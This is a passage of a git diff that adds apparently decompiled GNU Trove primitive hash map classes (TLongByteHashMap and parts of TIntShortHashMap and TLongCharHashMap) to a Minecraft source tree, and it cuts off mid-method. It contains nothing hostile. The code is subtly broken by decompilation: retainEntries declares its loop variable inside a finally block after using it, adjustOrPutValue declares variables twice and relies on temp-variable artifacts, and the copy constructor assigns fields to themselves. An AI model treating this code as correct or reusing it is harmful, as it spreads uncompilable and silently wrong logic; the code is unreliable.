+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TIntShortHashIterator
+    extends THashPrimitiveIterator
+    implements TIntShortIterator
+  {
+    TIntShortHashIterator(TIntShortHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public int key()
+    {
+      return _set[_index];
+    }
+    
+    public short value()
+    {
+      return _values[_index];
+    }
+    
+    public short setValue(short val)
+    {
+      short old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TIntShortMap)) {
+      return false;
+    }
+    TIntShortMap that = (TIntShortMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    short[] values = _values;
+    byte[] states = _states;
+    short this_no_entry_value = getNoEntryValue();
+    short that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        int key = _set[i];
+        short that_value = that.get(key);
+        short this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TIntShortProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(int key, short value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeInt(_set[i]);
+        out.writeShort(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      int key = in.readInt();
+      short val = in.readShort();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TLongByteHashMap.java b/src/minecraft/gnu/trove/map/hash/TLongByteHashMap.java
new file mode 100644
index 0000000..0dec991
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TLongByteHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TLongByteHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.iterator.TLongByteIterator;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.map.TLongByteMap;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TLongByteProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongByteHashMap
+  extends TLongByteHash
+  implements TLongByteMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient byte[] _values;
+  
+  public TLongByteHashMap() {}
+  
+  public TLongByteHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongByteHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TLongByteHashMap(int initialCapacity, float loadFactor, long noEntryKey, byte noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TLongByteHashMap(long[] keys, byte[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TLongByteHashMap(TLongByteMap map)
+  {
+    super(map.size());
+    if ((map instanceof TLongByteHashMap)) {
+      TLongByteHashMap hashmap = (TLongByteHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0L) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    long[] oldKeys = _set;
+    byte[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new long[newCapacity];
+    _values = new byte[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        long o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public byte put(long key, byte value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public byte putIfAbsent(long key, byte value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private byte doPut(long key, byte value, int index)
+  {
+    byte previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Long, ? extends Byte> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Long, ? extends Byte> entry : map.entrySet()) {
+      put(((Long)entry.getKey()).longValue(), ((Byte)entry.getValue()).byteValue());
+    }
+  }
+  
+
+  public void putAll(TLongByteMap map)
+  {
+    ensureCapacity(map.size());
+    TLongByteIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public byte get(long key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public byte remove(long key)
+  {
+    byte prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TLongSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public long[] keys()
+  {
+    long[] keys = new long[size()];
+    long[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public long[] keys(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TByteCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public byte[] values()
+  {
+    byte[] vals = new byte[size()];
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public byte[] values(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(byte val)
+  {
+    byte[] states = _states;
+    byte[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(long key)
+  {
+    return contains(key);
+  }
+  
+
+  public TLongByteIterator iterator()
+  {
+    return new TLongByteHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TLongProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TByteProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TLongByteProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] keys = _set;
+    byte[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TByteFunction function)
+  {
+    byte[] states = _states;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TLongByteProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    long[] keys = _set;
+    byte[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(long key)
+  {
+    return adjustValue(key, (byte)1);
+  }
+  
+
+  public boolean adjustValue(long key, byte amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp20_18 = index; byte[] tmp20_15 = _values;tmp20_15[tmp20_18] = ((byte)(tmp20_15[tmp20_18] + amount));
+    return true;
+  }
+  
+
+
+  public byte adjustOrPutValue(long key, byte adjust_amount, byte put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    byte newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; byte[] tmp25_20 = _values;byte newValue = tmp25_20[tmp25_23] = (byte)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TLongSet
+  {
+    protected TKeyView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TLongByteHashMap.TLongByteKeyHashIterator(TLongByteHashMap.this, TLongByteHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return TLongByteHashMap.this.contains(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!TLongByteHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongByteHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TLongSet)) {
+        return false;
+      }
+      TLongSet that = (TLongSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TByteCollection
+  {
+    protected TValueView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TLongByteHashMap.TLongByteValueHashIterator(TLongByteHashMap.this, TLongByteHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return values();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      byte[] values = _values;
+      long[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0L) && (set[i] != 2L) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongByteHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TLongByteKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TLongByteKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TLongByteValueHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TLongByteValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TLongByteHashIterator
+    extends THashPrimitiveIterator
+    implements TLongByteIterator
+  {
+    TLongByteHashIterator(TLongByteHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public long key()
+    {
+      return _set[_index];
+    }
+    
+    public byte value()
+    {
+      return _values[_index];
+    }
+    
+    public byte setValue(byte val)
+    {
+      byte old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TLongByteMap)) {
+      return false;
+    }
+    TLongByteMap that = (TLongByteMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    byte[] values = _values;
+    byte[] states = _states;
+    byte this_no_entry_value = getNoEntryValue();
+    byte that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        long key = _set[i];
+        byte that_value = that.get(key);
+        byte this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TLongByteProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(long key, byte value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeLong(_set[i]);
+        out.writeByte(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      long key = in.readLong();
+      byte val = in.readByte();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TLongCharHashMap.java b/src/minecraft/gnu/trove/map/hash/TLongCharHashMap.java
new file mode 100644
index 0000000..e8eda6f
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TLongCharHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TLongCharHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.iterator.TLongCharIterator;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.map.TLongCharMap;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TLongCharProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongCharHashMap
+  extends TLongCharHash
+  implements TLongCharMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient char[] _values;
+  
+  public TLongCharHashMap() {}
+  
+  public TLongCharHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongCharHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TLongCharHashMap(int initialCapacity, float loadFactor, long noEntryKey, char noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TLongCharHashMap(long[] keys, char[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TLongCharHashMap(TLongCharMap map)
+  {
+    super(map.size());
+    if ((map instanceof TLongCharHashMap)) {
+      TLongCharHashMap hashmap = (TLongCharHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0L) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    long[] oldKeys = _set;
+    char[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new long[newCapacity];
+    _values = new char[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        long o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public char put(long key, char value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public char putIfAbsent(long key, char value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private char doPut(long key, char value, int index)
+  {
+    char previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Long, ? extends Character> map)
+  {
+    ensureCapacity(map.size());
+    
